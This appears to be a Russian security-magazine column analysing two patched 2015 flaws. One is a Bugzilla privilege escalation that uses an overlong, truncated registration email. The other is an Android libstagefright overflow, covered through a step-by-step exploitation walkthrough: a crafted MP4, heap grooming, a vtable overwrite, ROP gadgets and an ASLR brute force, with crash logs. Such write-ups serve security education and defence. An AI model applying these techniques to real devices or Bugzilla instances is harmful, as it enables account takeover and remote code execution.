Сегодня мы с тобой рассмотрим уязвимость в популярном баг-трекере Bugzilla, которая позволяет повысить привилегии на большинстве доменов, и разберем недавний эксплоит для Android, который стал возможен из-за неудачного патча.

Повышение привилегий в Bugzilla

CVSSv2

N/A

BRIEF

Дата релиза: 17 сентября 2015 года
Автор: Netanel Rubin
CVE: CVE-2015-4499

Bugzilla — популярный баг-трекер с открытым исходным кодом и веб-интерфейсом. Он принадлежит Mozilla, используется большим количеством компаний. Bugzilla позволяет организовать все найденные ошибки в своих продуктах и следить за их исправлениями, а также обмениваться информацией и определять степень угрозы.

Благодаря найденной уязвимости в этой системе атакующий может повысить свои привилегии и получить доступ не только к изменениям, но и к скрытым от простых глаз ошибкам, которые несут угрозу безопасности.

Механизм аутентификации в Bugzilla завязан на проверке адреса электронной почты. Для правильной регистрации пользователи вводят свой email, и система отправляет ссылку с активацией на этот адрес. Такая ссылка содержит токен, который позволяет пользователю зарегистрироваться с указанным адресом и установить в настройках свое реальное имя и действующий пароль.

Когда пользователь регистрирует email, адрес сохраняется в таблице tokens вместе с самим токеном. Адрес сохраняется в столбце с именем eventdata.

После того как пользователь при помощи токена подтвердил свою почту, адрес берется из столбца eventdata и используется для создания действующего аккаунта. Когда аккаунт создан, срабатывают автоматические политики безопасности и устанавливают соответствующие права. Часто они основаны на соответствующем домене, доступ к которому атакующему получить очень сложно.

Все это делает адрес почты чрезвычайно важной частью механизма — именно от адреса зависят права доступа в системе. Из-за этого он оказывается слабым звеном. Что, если атакующий как-то получит токен на подходящий под условия почтовый ящик? Именно так и вышло.

Для начала разберем код, который отвечает за отправку и валидацию токенов. Введенный пользователем email проверяется на наличие запрещенных (опасных) символов и исправляется соответствующим образом. Затем создается токен для этого ящика.

### Bugzilla/User.pm::check_and_send_account_creation_confirmation()

sub check_and_send_account_creation_confirmation {
    my ($self, $login) = @_;

# Проверка почтового адреса пользователя
    $login = $self->check_login_name($login);
    if ($login !~ /$creation_regexp/i) {
        ThrowUserError('account_creation_restricted');
    }

    # Создание и отправка токена
    require Bugzilla::Token;
    Bugzilla::Token::issue_new_user_account_token($login);
}

Посмотрим функцию issue_new_user_account_token():

### Bugzilla/Token.pm::issue_new_user_account_token()

sub issue_new_user_account_token {
    my $login_name = shift; # Введенный нами email
    my $template = Bugzilla->template;
    my $vars = {};

# Создание нового токена в БД
    my ($token, $token_ts) = _create_token(undef, 'account', $login_name);

# Создание переменных с адресом почты, датой истечения срока и токеном
# Bugzilla->params->{'emailsuffix'} по умолчанию пуст в большинстве установленных систем
    $vars->{'email'} = $login_name . Bugzilla->params->{'emailsuffix'};
    $vars->{'expiration_ts'} = ctime($token_ts + MAX_TOKEN_AGE * 86400);
    $vars->{'token'} = $token;

# Создание письма с использованием обработанных переменных
    my $message;
    $template->process('account/email/request-new.txt.tmpl', $vars, \$message)
      || ThrowTemplateError($template->error());

# Отправка письма с подтверждением
    MessageToMTA($message);
}

Если внимательно прочесть код, то можно заметить, что токен, который создается для пользователя, заносится в БД и затем вставляется в письмо, которое отправляется на адрес регистрации. Это важная особенность, так как система не проверяет, правильно ли он создался. Считается, что все заведомо нормально, и программа отправляет подтверждение на указанный email.

Нам нужно как-то испортить адрес перед тем, как он будет вставлен в БД. Столбец eventdata, в котором хранится адрес, имеет тип tinytext. Этот тип данных представлен как обычная строка текста и в MySQL имеет ограничение в 255 байт. Для остальных БД Bugzilla искусственно устанавливает размер, равный 255, и использует тип text. Что же будет, если мы превысим этот лимит? Может быть, БД вернет исключение? Упадет база? Нет! Такая строка автоматически будет округлена до указанного размера.

EXPLOIT

Мы можем создать email длиннее 255 символов, а после усечения он будет на том домене, который выберем. Создаем почтовый ящик на подконтрольном нам домене с соответствующим именем и добавляем в него домен атакуемой системы.

bbb[...]bbbb@mozilla.com.attackerdomain.com

После этих манипуляций к нам на почтовый ящик приходит письмо со ссылкой на активацию, а в БД содержится усеченный адрес, для которого система при нужных настройках автоматически выдаст нам высокие права доступа.

Скриншот полученных прав доступа на bugzilla.mozilla.org
Скриншот полученных прав доступа на bugzilla.mozilla.org

Оригинальный отчет опубликован в блоге компании автора.

TARGETS

Версии до 10 сентября 2015 года.

SOLUTION

Есть исправление от производителя.

Android libstagefright — удаленное выполнение кода

CVSSv2

N/A

BRIEF

Дата релиза: 17 сентября 2015 года
Автор: Google Security Research и @jgrusko
CVE: CVE-2015-3864

Google с некоторых пор стала выпускать бюллетень безопасности для Android. В одном из последних была упомянута уязвимость под номером CVE-2015-3864, которую нашел @jgrusko из Exodus Intel и Натали Сильванович (Natalie Silvanovich) из Project Zero. Эксплуатация этой уязвимости стала возможной из-за неудачного патча другой уязвимости.

Уязвимый код находится в обработчике чанка tx3g при парсинге видеофайла в MPEG4. Ниже приведен оригинальный код.

// chunk_size — это uint64_t, который берется из файла, то есть контролируется атакующим и не проверяется
case FOURCC('t', 'x', '3', 'g'):
{
    uint32_t type;
    const void *data;
    size_t size = 0;
    if (!mLastTrack->meta->findData(
            kKeyTextFormatData, &type, &data, &size)) {
        size = 0;
    }
    uint8_t *buffer = new uint8_t[size + chunk_size]; // <---- Целочисленное переполнение
    if (size > 0) {
        memcpy(buffer, data, size);                   // <---- Копирование в память
    }
    if ((size_t)(mDataSource->readAt(*offset, buffer + size, chunk_size))
            < chunk_size) {
        delete[] buffer;
        buffer = NULL;
        return ERROR_IO;
    }
    mLastTrack->meta->setData(
            kKeyTextFormatData, 0, buffer, size + chunk_size);
    delete[] buffer;
    *offset += chunk_size;
    break;
}

Теперь посмотрим на патч:

case FOURCC('t', 'x', '3', 'g'):
{
    uint32_t type;
    const void *data;
    size_t size = 0;
    if (!mLastTrack->meta->findData(
            kKeyTextFormatData, &type, &data, &size)) {
        size = 0;
    }
    if (SIZE_MAX - chunk_size <= size) { // <---- Попытка предотвратить переполнение
        return ERROR_MALFORMED;
    }
    uint8_t *buffer = new uint8_t[size + chunk_size];
    if (size > 0) {
        memcpy(buffer, data, size);
    }
    ...

Проблема этого патча в том, что у chunk_size тип на самом деле не size_t, а uint64_t на 32-битных платформах (большинство устройств с Android — 32-битные, а исследуемый медиасервер является 32-битным процессом даже для 64-битных устройств). Во время беглой проверки кажется, что все нормально, но это не так. chunk_size может быть больше SIZE_MAX, что позволит пройти проверку. Пробуем воспроизвести падение медиасервера, используя полученную информацию.

Для начала нам нужен файл, который libstagefright определит как MPEG4 и обработает соответственно. Разберем чанк ftyp в начале файла.

Структура чанка `ftyp`
Структура чанка `ftyp`

Рассмотрим структуру этого чанка, которую будем использовать в дальнейшем.

  • 0000 0014 — четырехбитный размер чанка зеленого цвета;
  • 6674 7970 — четырехбитный тег синего цвета;
  • 6973 6f6d 0000 0001 6973 6f6d и данные этого чанка — оранжевого.

Теперь если мы добавим чанк tx3g, то столкнемся с другой ошибкой.

case FOURCC('t', 'x', '3', 'g'):
{
    uint32_t type;
    const void *data;
    size_t size = 0;
    if (!mLastTrack->meta->findData( // <---- mLastTrack это NULL, SIGSEGV...
        kKeyTextFormatData, &type, &data, &size)) {
        size = 0;
    }

Нам требуется хотя бы один трек перед тем, как мы достигнем уязвимого кода. Чанк trak инициализирует mLastTrack и служит контейнером для других чанков.

Чанк `trak`
Чанк `trak`
`tx3g` внутри `trak`
`tx3g` внутри `trak`

Такая структура приведет нас к обработке нужного чанка, но не вызовет ошибку. Для этого нам понадобится сделать еще один, но чтобы chunk_size был достаточно большим для переполнения. Это просто: chunk_size - 1 = 0xffffffffffffffff.

Дополнительный чанк `tx3g` для срабатывания ошибки
Дополнительный чанк `tx3g` для срабатывания ошибки

Обрати внимание, что структура дополнительного элемента немного отличается. Нам нужно использовать расширенный chunk_size, чтобы в случае удачного срабатывания его значение стало 64-битным.

Теперь у нас есть файл, который вызывает ошибку. Автор эксплоита добавил немного кода для дебаггинга, этот код выводит полезную информацию в системный лог Android и открывает видео в Chrome на устройстве Nexus 4.

MPEG4Extractor: Identified supported mpeg4 through LegacySniffMPEG4.
MPEG4Extractor: trak: new Track[20] (0xb6048160)
MPEG4Extractor: trak: mLastTrack = 0xb6048160
MPEG4Extractor: tx3g: size 0 chunk_size 24
MPEG4Extractor: tx3g: new[24] (0xb6048130) <-- Первый чанк
MPEG4Extractor: tx3g: mDataSource->readAt(*offset, 0xb6048130, 24)
MPEG4Extractor: tx3g: size 24 chunk_size 18446744073709551615
MPEG4Extractor: tx3g: new[23] (0xb6048130) <-- Второй чанк
MPEG4Extractor: tx3g: memcpy(0xb6048130, 0xb6048148, 24)
MPEG4Extractor: tx3g: mDataSource->readAt(*offset, 0xb6048148, 18446744073709551615) <-- Полученное число

Отсюда видно, что наш файл после обработки парсером вызывает два выделения памяти при считывании двух чанков tx3g. В последних двух строках наши данные записываются за пределами выделенной памяти.

Теперь у нас имеется переполнение нескольких байтов, и распределитель кучи в этой версии Android основан на jemalloc. Из-за этого маловероятно, что мы сможем переписать что-то важное и вызвать креш с таким небольшим переполнением. Модифицировать PoC-файл, чтобы парсер перезаписал большое количество байтов и вызвал падение программы, достаточно просто. Для этого нужно добавить больше символов B в конец файла и исправить размер чанков. Оставим это в качестве домашнего задания :).

Теперь нам нужно провести несколько манипуляций с кучей. Для начала автору нужно было найти место, где блоки памяти просто выделялись, — оно будет использоваться для различных вещей в эксплоите. К счастью, нужный код был найден — обработчик pssh чанка.

case FOURCC('p', 's', 's', 'h'):
{
    *offset += chunk_size;
    PsshInfo pssh;
    if (mDataSource->readAt(data_offset + 4, &pssh.uuid, 16) < 16) {
        return ERROR_IO;
    }
    uint32_t psshdatalen = 0;
    if (mDataSource->readAt(data_offset + 20, &psshdatalen, 4) < 4) {
        return ERROR_IO;
    }
    // pssh.datalen устанавливает размер, который мы контролируем
    pssh.datalen = ntohl(psshdatalen);
    ALOGV("pssh data size: %d", pssh.datalen);
    if (pssh.datalen + 20 > chunk_size) {
        // pssh data length exceeds size of containing box
        return ERROR_MALFORMED;
    }
    // pssh.data — выделенный блок памяти, размер которого мы контролируем
    pssh.data = new (std::nothrow) uint8_t[pssh.datalen];
    if (pssh.data == NULL) {
        return ERROR_MALFORMED;
    }
    ALOGV("allocated pssh @ %p", pssh.data);
    ssize_t requested = (ssize_t) pssh.datalen;
    // Теперь мы читаем данные, контролируемые внутри выделенной области
    if (mDataSource->readAt(data_offset + 24, pssh.data, requested) < requested) {
        return ERROR_IO;
    }
    // и сохраняем их, такие блоки живут все время, пока работает MPEG4Extractor
    // (these pssh blocks are in fact released in the destructor for the MPEG4Extractor)
    mPssh.push_back(pssh);
    break;
}

Мы можем использовать любые фрагментированные выделения в размере класса, гарантируя, что последующие выделения ресурсов могут соприкасаться.

Далее нам понадобится следующий элемент, выделение и освобождение которого мы сможем контролировать. Мест, где происходит выделение памяти во время парсинга файла MP4, много, но автору показались наиболее удобными два — avcC и hvcC. Во время обработки этих чанков парсер будет выделять блоки памяти и сохранять их, а затем заменять, если встретит второй чанк такого же типа.

case FOURCC('a', 'v', 'c', 'C'):
{
    *offset += chunk_size;
    sp<ABuffer> buffer = new ABuffer(chunk_data_size);
    if (mDataSource->readAt(
                data_offset, buffer->data(), chunk_data_size) < chunk_data_size) {
        return ERROR_IO;
    }
    // Копирование buffer->data() внутрь буфера с размером chunk_data_size и освобождение ранее сохраненных данных
    mLastTrack->meta->setData(
            kKeyAVCC, kTypeAVCC, buffer->data(), chunk_data_size);
    break;
}

Теперь, чтобы получить контроль над выполнением, нам нужно организовать переполнение и переписать объект типа MPEG4DataSource. Этот объект имеет размер 32 байта (на указанном выше устройстве), которые выделяет парсер, когда встречает чанк stbl. Новый источник данных затем используется для всех дополнительных чанков внутри stbl. Поэтому наша цель — создать такую ситуацию.

case FOURCC('t', 'x', '3', 'g'):
{
    uint32_t type;
    const void *data;
    size_t size = 0;
    if (!mLastTrack->meta->findData(
            kKeyTextFormatData, &type, &data, &size)) {
        size = 0;
    }
    if (SIZE_MAX - chunk_size <= size) {  
        return ERROR_MALFORMED;
    }
    // Здесь переполнение, поэтому size + chunk_size == 32 и size > 32
    uint8_t *buffer = new uint8_t[size + chunk_size];
    // Буфер выделяется непосредственно перед mDataSource
    if (size > 0) {
        // Здесь произойдет переполнение и повреждение mDataSource vtable
        memcpy(buffer, data, size);
    }
    // Этот вызов идет через поврежденную vtable, и мы получаем контроль над выполнением
    if ((size_t)(mDataSource->readAt(*offset, buffer + size, chunk_size))
        < chunk_size) {

Получается, что нам нужно организовать кучу так, чтобы мы смогли гарантировать свободное место перед выделенным MPEG4DataSource.

Для начала сделаем пару чанков небольшого размера: avcC и hvcC. Они вызывают дополнительные временные выделения памяти, которые будут мешать нашим, поэтому нам нужно получить их до того, как начнем распределять память.

Создаем чанки `avcC` и `hvcC`
Создаем чанки `avcC` и `hvcC`

Затем мы создадим наш первоначальный tx3g. Его размер мы выберем равным 64 байтам, чтобы полностью переписать объект MPEG4DataSource. 2 — это байты, которые будут записаны за пределами выделенных 32 байт в результате переполнения.

Первоначальный чанк `tx3g` для перезаписи MPEG4DataSource
Первоначальный чанк `tx3g` для перезаписи MPEG4DataSource

Теперь можно заняться подготовкой кучи. Во-первых, создадим некоторые блоки pssh заданного размера.

Схематичное представление кучи после создания чанков `pssh`
Схематичное представление кучи после создания чанков `pssh`
Структура одного из `pssh`
Структура одного из `pssh`

Эти блоки имеют некоторую внутреннюю структуру, но нам интересно следующее:

  • 0000 0020 размер выделения желтого цвета;
  • 4c4c ... 4c4c данные.

После этого мы выделяем блоки avcC и hvcC нужного размера и надеемся, что они окажутся рядом.

Ожидаемое схематичное представление кучи после добавления `avcC` и `hvcC`
Ожидаемое схематичное представление кучи после добавления `avcC` и `hvcC`
Выделенные блоки `avcC` и `hvcC`
Выделенные блоки `avcC` и `hvcC`

На самом же деле у нас есть временное распределение памяти во время парсинга avcC и hvcC, поэтому куча будет выглядеть таким образом.

Реальное схематичное представление кучи после добавления `avcC` и `hvcC`
Реальное схематичное представление кучи после добавления `avcC` и `hvcC`

Следовательно, нам нужно добавить еще один блок pssh, чтобы заполнить свободное место.

Схематичное представление кучи после заполнения свободного места еще одним блоком `pssh`
Схематичное представление кучи после заполнения свободного места еще одним блоком `pssh`

После этого мы можем освободить блок hvcC и вызвать выделения для нашей цели MPEG4DataSource.

Схематичное представление кучи после добавления чанка для MPEG4DataSource
Схематичное представление кучи после добавления чанка для MPEG4DataSource
Добавление чанка для MPEG4DataSource
Добавление чанка для MPEG4DataSource

Затем внутри нашего чанка stbl нам нужно освободить avcC и вызвать переполнение tx3g.

Схематичное представление кучи после переполнения `tx3g`
Схематичное представление кучи после переполнения `tx3g`
Переполнение чанка `tx3g`
Переполнение чанка `tx3g`

Просмотрев созданный файл через веб-страницу в Chrome, получим следующий лог (регистр r1):

libc    : Fatal signal 11 (SIGSEGV), code 1, fault addr 0x3232324e in tid 3794 (mediaserver)
pid: 3794, tid: 3794, name: mediaserver  >>> /system/bin/mediaserver <<<
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x3232324e
    r0 b2e90220  r1 32323232  r2 000002a4  r3 00000000
    r4 b2e90240  r5 ffffffe0  r6 b2e90200  r7 00000000
    r8 fffd1da4  r9 bedcf6b8  sl b604b980  fp b604b9d4
    ip bedcece8  sp bedcf1c0  lr b67dff67  pc b67dff76  cpsr 600f0030

 backtrace:
    #00 pc 0008ff76  /system/lib/libstagefright.so
(android::MPEG4Extractor::parseChunk(long long*, int)+7613)
    #01 pc 0008fac1  /system/lib/libstagefright.so
(android::MPEG4Extractor::parseChunk(long long*, int)+6408)
    #02 pc 0008fac1  /system/lib/libstagefright.so
(android::MPEG4Extractor::parseChunk(long long*, int)+6408)
    #03 pc 0008de7f  /system/lib/libstagefright.so (android::MPEG4Extractor::readMetaData()+78)
    #04 pc 0008de0b  /system/lib/libstagefright.so
(android::MPEG4Extractor::getMetaData()+8)
    #05 pc 000c0e6f  /system/lib/libstagefright.so (android::StagefrightMetadataRetriever::parseMetaData()+38)

Вот мы и получили то, что хотели. Но теперь нам надо как-то обойти ASLR, так как мы не знаем точного местоположения нужных данных. Нам требуется как-то получить данные, которые мы сможем контролировать и использовать. Из-за того, что Linux и Android реализуют ASLR для отображения mmap, это становится немного проще — мы сможем выделить память на нужном нам адресе. Jemalloc на Nexus 5 распределяет огромные части кода выше 0x40000 байтов.

Такое поведение mmap означает, что выделение памяти происходит вниз адресного пространства линейно от начального адреса, выбранного случайным образом. Поскольку мы примерно представляем, сколько места будет уже использоваться (загрузка библиотек и первоначальное распределение), то такая рандомизация происходит в небольшом промежутке, который мы должны обработать, чтобы получить прогнозируемый адрес. Вот код, который реализует такую случайность (в arch/arm/mm/mmap.c).

/* 8 бит случайности в 20 битах адресного пространства */
if ((current->flags & PF_RANDOMIZE) &&
    !(current->personality & ADDR_NO_RANDOMIZE))
  random_factor = (get_random_int() % (1 << 8)) << PAGE_SHIFT;

Таким образом, наше отображение mmap может быть где угодно в диапазоне 0–0xff000 от максимального положения, которые можно использовать. Нам не нужно выделять больше памяти, чтобы превысить этот предел.

Для проверки этого автор написал небольшую программу.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <unistd.h>
#include <sys/mman.h>

#define ALLOC_SIZE  0xff000
#define ALLOC_COUNT 0x1

 int main(int argc, char** argv) {
  int i = 0;
  char* min_ptr = (char*)0xffffffff;
  char* max_ptr = (char*)0;

  for (i = 0; i < ALLOC_COUNT; ++i) {
    char* ptr = mmap(NULL, ALLOC_SIZE,
                     PROT_READ | PROT_WRITE | PROT_EXEC,
                     MAP_PRIVATE | MAP_ANONYMOUS,
                     -1, 0);
    if (ptr < min_ptr) {
      fprintf(stderr, "new min: %p\n", ptr);
      min_ptr = ptr;
    }
    if (ptr + ALLOC_SIZE > max_ptr) {
      fprintf(stderr, "new max: %p\n", ptr + ALLOC_SIZE);
      max_ptr = ptr + ALLOC_SIZE;
    }

    memset(ptr, '\xcc', ALLOC_SIZE);
  }

  fprintf(stderr, "finished min: %p max %p\n", min_ptr, max_ptr);

   ((void(*)())0xf7500000)();
}

В Ubuntu x86_64 с /proc/sys/randomize_va_space == 2 после компиляции и запуска как 32-битное приложение получаем результат 0xf7500000, который в итоге окажется в SIGTRAP. После тестов на Nexus 5 были получены точно такие же результаты.

После небольшого эксперимента автор посчитал, что лучший путь — это обернуть некоторое количество pssh внутри действующей таблицы (stbl). Это инициирует создание кеширования MPEG4DataSource, которая затем будет выделять и сохранять все данные для внутренних чанков, а в дальнейшем она будет использоваться для парсинга. Фактически это удваивает размер нашего спрея и уменьшает размер требуемого файла.

Обновим файл MP4, включив этот спрей, и перезапишем указатель vtable на наш предполагаемый адрес, что сдвинет нас на еще один шаг. Такой адрес вызывается как функция vtable (обрати внимание на pc).

Fatal signal 11 (SIGSEGV), code 1, fault addr 0xc01db33e in tid 2223 (Binder_3)
*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
pid: 2179, tid: 2223, name: Binder_3  >>> /system/bin/mediaserver <<<
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xc01db33e
     r0 b5967660  r1 b59676d8  r2 01000708  r3 00000000
     r4 b49ff570  r5 ffffff88  r6 c01db33f  r7 b49ff550
     r8 b586e240  r9 74783367  sl b49ffa78  fp b5967640
     ip 00000000  sp b49ff510  lr b66387d5  pc c01db33e  cpsr 400f0030
backtrace:
     #00 pc c01db33e  <unknown>
     #01 pc 000797d3  /system/lib/libstagefright.so
(android::MPEG4Extractor::parseChunk(long long*, int)+4610)

Теперь мы контролируем вызов функции — без ASLR все было бы очень просто. Для успешной эксплуатации было бы достаточно перенаправить выполнение на подходящие гаджеты и составить ROP-стек.

Ради теста автор отключил в настройках системы ASLR и быстро нашел подходящие гаджеты (так как наш вызов функции происходит как вызов vtable, то нам нужно всегда устанавливать r0 как этот объект, указав наш поврежденный MPEG4DataSource).

В итоге имеем следующий набор инструкций из libc.so.

.text:00013344    ADD             R2, R0, #0x4C
.text:00013348    LDMIA           R2, {R4, R5, R6, R7, R8, R9, R10, R11, R12, SP, LR}
.text:0001334C    TEQ             SP, #0
.text:00013350    TEQNE           LR, #0
.text:00013354    BEQ             botch_0 ; нам не нужна эта ветка, если мы контролируем lr
.text:00013358    MOV             R0, R1
.text:0001335C    TEQ             R0, #0
.text:00013360    MOVEQ           R0, #1
.text:00013364    BX              LR

Этот код загружает большинство регистров, включая указатель на стек от смещения r0, который указывает на контролируемые нами данные. С этого момента все еще проще — с помощью эксплоита выделяем немного памяти RWX, копируем шелл-код и прыгаем на него, используя функции и гаджеты изнутри libc.so.

Но это все хорошо, только если ASLR отключен. После проверки нескольких идей, описанных в оригинальном отчете, автор выбрал одно, правда не дающее стопроцентного результата.

Процесс медиасервера перезапускается после падения, и получается 8 бит энтропии базового адреса libc.so. Это означает, что у нас есть очень простой способ обхода ASLR. Мы просто выбираем один из 256 возможных адресов для libc.so и записываем наш эксплоит и цепочку ROP, используя это пространство. Запуская эксплоит из браузера, мы используем JavaScript для обновления страницы и ждем обратный вызов. В конце концов мы получим такую память, какую ожидаем. Такой грубый обход ASLR с помощью перебора — это очень удобный способ эксплуатации, и он часто используется.

Нам нужно найти только один адрес — если бы пришлось искать два (адрес известных данных и адрес библиотеки libc), то это было бы менее практично. Правда, при каждом перезапуске адрес снова выбирается случайным образом, что делает случайным и время успешного подбора.

Автор снова воспользовался для тестов своим Nexus 5 со следующими результатами. При 4096 попытках он получил 15 успешных обратных вызовов. Самая быстрая попытка заняла тридцать секунд, а самая долгая около часа. По примерным подсчетам он добился 4%-го шанса успешной эксплуатации в минуту.

Кто знает — возможно, у тебя получится доработать этот способ и повысить шанс или придумать свой более удобный и успешный (тем более что в некоторых базах антивирусов уже появилась запись об эксплоите с таким номером).

EXPLOIT

Технику эксплуатации мы полностью разобрали, поэтому советую скачать полный код эксплоита и попробовать уже на реальном устройстве. Более подробно ты можешь прочитать в оригинальном отчете команды Project Zero (в комментариях есть примеры отладки) и статье @jgrusko.

TARGETS

Протестировано на Nexus 5 с Android 5.0+.
Android < 5.1.

SOLUTION

Есть исправление от производителя. Исправлено в билде для Nexus 5.1.1 (LMY48M).

Оставить мнение